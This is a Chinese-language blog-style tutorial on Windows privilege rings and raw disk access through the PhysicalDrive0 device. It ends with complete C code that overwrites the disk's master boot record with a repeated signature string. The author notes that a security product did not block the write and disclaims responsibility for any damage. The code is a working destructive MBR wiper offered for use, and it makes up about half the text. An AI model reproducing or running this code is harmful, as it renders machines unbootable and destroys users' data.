CPU一共有四種權限級別:ring0 ring1 ring2 ring3
Windows只是用了ring0和ring3
我們在使用電腦時,一般在ring3模式下工作。在ring3模式下,我們無法使用CPU特權指令in和out。對系統所屬的數據,地址空間以及硬件也是有嚴格的限制的。
但是這對於操作系統來說是一件好事,可對於一些應用程序來說,就很無語了。
要想在ring3下完成這個任務,只能通過內核程序來進行使用。在Windows系統中,內核程序不受任何的限制,可以隨意存取系統所屬的數據,操作系統地址空間等。所以,開發內核程序必須要有嚴格的測試!
不過呢,想要在ring3級別下訪問硬盤,也是很簡單的!
那是因爲:
Windows 操作系統爲了自己編程方便,編寫了在用戶模式下調用的硬盤內核模式驅動程序,該程序在系統啓動時候自動裝載。我們只要掌握這個 Windows 內核模式的驅動程序,就可以直接在用戶模式下直接無阻礙訪問硬盤了。
不過想要掌握這個內核程序,也是很簡單。因爲:
硬盤內核驅動程序將硬盤作爲一個文件,文件名爲:"\\.\\physicaldrive0"
這樣,我們就可以通過這個文件名,使用 CreateFile, ReadFile, WriteFile 和 DeviceIoControl 這幾個API來進行訪問硬盤。
題外話:我在測試的時候發現了一個大問題。就是我用這個程序在改寫MBR的時候,我的360安全衛士竟然沒提示,也沒攔截!!!然後。。。。。額 就沒有然後了(因爲虛擬機跑不起來 所以我在真實機器上測試。幸虧備份MBR了)。。。。。
下面的代碼,請謹慎使用。使用前請先備份MBR。以防數據丟失。
如果出現事故,與本人無關!
#include <windows.h>
int main(void)
{
//硬盤文件名
LPCSTR DiskFileName="\\\\.\\PhysicalDrive0";
//主引導記錄
char code[]=
"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 -> "
"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 -> ";
BYTE MBR[512];
DWORD s=NULL,t=NULL;
/* 文件句柄 */
HANDLE handle=NULL;
//構造MBR
memcpy(MBR,code,sizeof(code)-1);
//打開硬盤
handle=CreateFileA(
DiskFileName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
0,
0);
if(handle==INVALID_HANDLE_VALUE)
{
//打開文件失敗
MessageBoxA(NULL,(LPCSTR)"Can't Create File!",(LPCSTR)"error",MB_OK);
return 0;
}else{
//寫入新的MBR
WriteFile(handle,MBR,sizeof(MBR),&t,NULL);
DeviceIoControl(handle,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&s,NULL);
CloseHandle(handle);//關閉文件
MessageBoxA(NULL,(LPCSTR)"successful",(LPCSTR)"ok",MB_OK);
return 0;
}
return 0;
}